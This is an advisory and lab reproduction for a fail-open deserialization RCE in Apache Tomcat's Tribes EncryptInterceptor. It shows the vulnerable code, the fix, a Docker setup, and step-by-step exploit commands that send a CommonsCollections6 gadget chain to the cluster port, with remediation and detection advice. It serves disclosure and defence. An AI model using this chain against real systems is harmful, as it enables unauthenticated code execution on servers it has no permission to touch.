Skip to content

CVE-2026-34486 — Apache Tomcat Tribes EncryptInterceptor Fail-Open RCE

Published 2026-06-04

Critical: Unauthenticated Remote Code Execution

An unauthenticated attacker with TCP access to the Tribes cluster receiver port can execute arbitrary code inside the Tomcat JVM. No credentials, no prior session.

Field Detail
Project Apache Tomcat
Affected component org.apache.tomcat:tomcat-tribes (clustering)
Severity HIGH
CVSS 3.1 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWE CWE-311 (Missing Encryption of Sensitive Data)
Affected versions 9.0.116, 10.1.53, 11.0.20 (single-point releases only)
Fixed versions 9.0.117, 10.1.54, 11.0.21
GHSA GHSA-69r9-qgr7-g2wj
Impact Unauthenticated Remote Code Execution

1. Vulnerability Overview

Apache Tomcat ships a clustering subsystem called Tribes that lets multiple nodes share session state. When encryption is enabled for cluster traffic, the interceptor class EncryptInterceptor is supposed to decrypt every inbound message before passing it further into the pipeline. A refactoring commit introduced while fixing an earlier CVE (CVE-2026-29146) accidentally broke this guarantee and created a fail-open condition: if decryption throws an exception, the raw, un-decrypted bytes are forwarded anyway. Because the downstream pipeline eventually calls ObjectInputStream.readObject() with no class filtering, an attacker who can reach the Tribes receiver port (TCP 4000 by default, no authentication required) can send a crafted Java serialization gadget chain and achieve arbitrary code execution inside the Tomcat JVM.

Root cause

File: java/org/apache/catalina/tribes/group/interceptors/EncryptInterceptor.java
Method: messageReceived(ChannelMessage msg)

The bad commits (6d955cc for Tomcat 11, 607ebc0 for Tomcat 9/10, both titled "Add support for new algorithms provided by JPA providers") moved the call to super.messageReceived(msg) from inside the try block to after the catch block. The effect: an exception from decrypt() is caught and logged, but execution falls through to super.messageReceived(msg), forwarding the original untouched bytes.

Vulnerable code (9.0.116 / 10.1.53 / 11.0.20):

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);     // throws GeneralSecurityException on bad input
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
        // super.messageReceived() is NOT here
    } catch (GeneralSecurityException gse) {
        log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
        // exception swallowed — execution continues
    }
    super.messageReceived(msg);   // BUG: raw bytes forwarded regardless of decrypt outcome
}

The fix (commits 1fab40cc for Tomcat 11, 55f3eb91 for Tomcat 10, 776e12b3 for Tomcat 9) moves super.messageReceived(msg) back inside the try block so that a GeneralSecurityException causes the message to be silently dropped rather than forwarded:

@@ -140,10 +140,10 @@ public void messageReceived(ChannelMessage msg) {
             xbb.clear();
             xbb.append(data, 0, data.length);

+            super.messageReceived(msg);
         } catch (GeneralSecurityException gse) {
             log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
         }
-        super.messageReceived(msg);

With the fix in place, a decryption failure terminates message processing inside the catch block and super.messageReceived() is never reached. Without it, super.messageReceived() eventually calls XByteBuffer.deserialize(), which uses ObjectInputStream.readObject() with no class filtering, so attacker-controlled bytes containing a gadget chain (CommonsCollections6 was used in this reproduction) result in arbitrary command execution.


2. Vulnerable Environment

The reproduction environment is a single Docker container running the official tomcat:11.0.20-jdk17-temurin-jammy image, configured with a Tribes cluster whose channel carries the vulnerable EncryptInterceptor. No second cluster node is needed; the fail-open path lives in the receiver's inbound processing, which a single node exercises for any frame arriving on the receiver port.

Key configuration decisions:

  • Tomcat 11.0.20 is pinned exactly. The fail-open messageReceived() exists only in the three single-point releases 9.0.116, 10.1.53, and 11.0.20. Earlier releases are unaffected by this specific bug (though they carry the earlier CVE-2026-29146 issue).
  • Commons Collections 3.2.1 is placed on the Tomcat server classpath at /usr/local/tomcat/lib/commons-collections-3.2.1.jar (SHA1-verified against Maven Central in the Dockerfile). This is the gadget source that makes a CommonsCollections deserialization chain reachable on the target.
  • EncryptInterceptor is configured in server.xml with a static 128-bit AES key (cafebabecafebabecafebabecafebabe). The padded cipher variant (AES/CBC/PKCS5Padding) ensures that attacker-supplied unencrypted bytes trigger IllegalBlockSizeException, which is the specific exception that exposes the fail-open path.
  • The Tribes NioReceiver binds 0.0.0.0:4000 inside the container, exposed to the host at 127.0.0.1:4000. No authentication sits in front of it.
  • The JVM runs as the unprivileged tomcat service user (UID 999), established via gosu. Files created by hijacked control flow therefore carry tomcat ownership, providing a distinct identity that the verification step checks.
  • A /marker directory writable by the tomcat user is created at image build time; the entrypoint script wipes any stale marker files on every container start so each run begins with a clean baseline.

Topology:

Name Role Network Ports
cve-2026-34486-tomcat Vulnerable Tomcat 11.0.20 node env_default bridge 127.0.0.1:4000 (Tribes receiver), 127.0.0.1:8080 (HTTP)

Standing up the environment:

Download the environment files (env.zip) or reference the individual files: env/Dockerfile, env/docker-compose.yml, env/config/server.xml, env/config/entrypoint.sh.

docker compose -f env/docker-compose.yml up -d --build

Wait for the container to become healthy (the healthcheck tests that the Tribes receiver socket accepts connections). Then confirm the environment is the correct vulnerable substrate:

# 1. Receiver reachable
nc -z -w 3 127.0.0.1 4000 && echo "receiver up"

# 2. Exact vulnerable version
docker exec cve-2026-34486-tomcat /usr/local/tomcat/bin/version.sh | grep "Server number"
# Expected: Server number:  11.0.20.0

# 3. EncryptInterceptor loaded and receiver bound
docker logs cve-2026-34486-tomcat 2>&1 | grep -E "EncryptInterceptor|Receiver Server Socket bound"

# 4. Gadget on classpath
docker exec cve-2026-34486-tomcat ls /usr/local/tomcat/lib/commons-collections-3.2.1.jar

# 5. Clean marker baseline; JVM running as service user
docker exec cve-2026-34486-tomcat bash -c 'ls -A /marker; ps -o user= -C java'

To verify that the patched version is not vulnerable, rebuild the image from tomcat:11.0.21-jdk17-temurin-jammy with the same server.xml and confirm that no marker is created when the exploit is fired.


3. How to Exploit

The exploit is entirely self-contained in three Python/Bash scripts. No Java toolchain or ysoserial jar is needed. Download the exploit files (exploit.zip) or reference individually: exploit/run.sh, exploit/gadget.py, exploit/send.py.

Step 1 — Confirm receiver is up and the substrate is vulnerable

nc -z -w 3 127.0.0.1 4000 && echo "receiver up" && \
docker exec cve-2026-34486-tomcat /usr/local/tomcat/bin/version.sh | grep "Server number"

Expected output: receiver up and Server number: 11.0.20.0.

Step 2 — Fire the exploit

The orchestrating script exploit/run.sh takes a target host, port, and a marker path. The marker path should embed a fresh nonce so the resulting file can be unambiguously attributed to this run:

bash exploit/run.sh 127.0.0.1 4000 /marker/pwned-<NONCE>

Internally, run.sh performs two sub-steps:

2a. Build the CommonsCollections6 gadget (pure Python, no Java required):

python3 exploit/gadget.py /bin/sh -c "touch /marker/pwned-<NONCE>" > /tmp/payload.bin

gadget.py constructs the Java serialization stream entirely in Python using the correct serialVersionUID values and field layouts read directly off Commons Collections 3.2.1 and the JDK 17 runtime. The chain is: HashMap.readObject()TiedMapEntry.hashCode()LazyMap.get()ChainedTransformerConstantTransformer(Runtime.class)InvokerTransformer("getMethod")InvokerTransformer("invoke")InvokerTransformer("exec", cmdArray).

2b. Wrap the raw payload in a Tribes wire frame and send it unencrypted:

python3 exploit/send.py 127.0.0.1 4000 /tmp/payload.bin

send.py wraps the serialized bytes in the Tomcat Tribes wire-protocol envelope (FLT2002TLF2003) with a valid ChannelData structure and a structurally correct MemberImpl blob, then sends the entire frame over a plain TCP socket to the receiver, without encrypting it. On the server side, EncryptInterceptor.messageReceived() attempts AES decryption, receives javax.crypto.IllegalBlockSizeException (because the input length is not a multiple of 16 for the padded cipher), logs it as a GeneralSecurityException, and, because of the placement bug, calls super.messageReceived(msg) with the original untouched bytes. Those bytes reach XByteBuffer.deserialize()ObjectInputStream.readObject(), the CommonsCollections6 chain fires, and the Tomcat JVM executes touch /marker/pwned-<NONCE> as the tomcat service user.

Step 3 — Observe the proof via an independent channel

The marker file is verified through a privileged docker exec call that is entirely separate from the exploit's own output; it uses root access to inspect the container filesystem directly:

docker exec cve-2026-34486-tomcat stat -c '%U %u %n' /marker/pwned-<NONCE>

Observed in the verified reproduction run (nonce fb8f88e5b044e839):

tomcat 999 /marker/pwned-fb8f88e5b044e839
docker exec cve-2026-34486-tomcat ls -l /marker/pwned-fb8f88e5b044e839
-rw-r----- 1 tomcat tomcat 0 Jun  3 01:35 /marker/pwned-fb8f88e5b044e839

The file's owner is tomcat (UID 999), the unprivileged service user inside the JVM, not root and not the host running the exploit. The fresh nonce embedded in the filename rules out any pre-placed or incidentally created file. The exploit scripts contain no docker exec, no open(), and no touch of the marker on any host; the file could only have been created by code executing inside the victim JVM.

The corroborating log frame ties the effect specifically to the EncryptInterceptor.messageReceived fail-open path:

docker logs cve-2026-34486-tomcat 2>&1 | grep -A4 "Failed to decrypt message"

Observed log output:

SEVERE [Tribes-Task-Receiver[Catalina-Channel]-3]
  org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
  Failed to decrypt message
    javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher
at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:135)

Exactly one "Failed to decrypt message" entry appeared in the logs, matching the single exploit run. The stack frame at EncryptInterceptor.java:135 is precisely the super.messageReceived(msg) call site outside the try block that the patch removes.

Environment teardown

Once done, stop and remove the container and its volumes:

docker compose -f env/docker-compose.yml down -v

4. Security Advice

Remediation

Upgrade to a fixed release:

  • Tomcat 11: upgrade to 11.0.21 or later.
  • Tomcat 10: upgrade to 10.1.54 or later.
  • Tomcat 9: upgrade to 9.0.117 or later.

The fix is a partial revert of the bad refactoring commit: super.messageReceived(msg) is moved back inside the try block so that a GeneralSecurityException during decryption causes the message to be silently dropped (fail-closed), and the deserialization sink is never reached.

Affected releases only

Only the exact single-point releases 9.0.116, 10.1.53, and 11.0.20 are vulnerable to this specific bug. Versions prior to those are not affected by CVE-2026-34486 (though they may carry CVE-2026-29146, the earlier padding oracle issue that prompted the refactoring).

Mitigations and workarounds

If an immediate upgrade is not possible:

  • Disable EncryptInterceptor. The fail-open path only triggers when EncryptInterceptor is configured. Deployments that use Tribes clustering without EncryptInterceptor do not expose the deserialization sink through this specific path. Removing the interceptor from server.xml eliminates the vulnerability (though it also removes cluster traffic encryption; weigh this trade-off carefully).
  • Firewall the receiver port. Restrict access to the Tribes receiver port (TCP 4000 by default) to only trusted cluster peers. The vulnerability is only exploitable by a host that can make a direct TCP connection to this port. If cluster peers are all on an isolated private network segment, an edge firewall significantly reduces the attack surface.
  • Remove gadget chains from the classpath. ObjectInputStream.readObject() with no class filtering requires a usable gadget chain on the server classpath. If Commons Collections (and any other exploitable gadget library) can be removed from the classpath, RCE becomes harder, though this is not a reliable mitigation: other gadget chains may exist, and the underlying fail-open bug remains.

Detection

A successful attack leaves exactly one server-side log trace before the command executes silently:

SEVERE [Tribes-Task-Receiver[Catalina-Channel]-...]
  org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
  Failed to decrypt message
    javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher

No readObject exception is logged; command execution is silent. Monitor for this log pattern and correlate with unexpected file creation under Tomcat's working directories.

References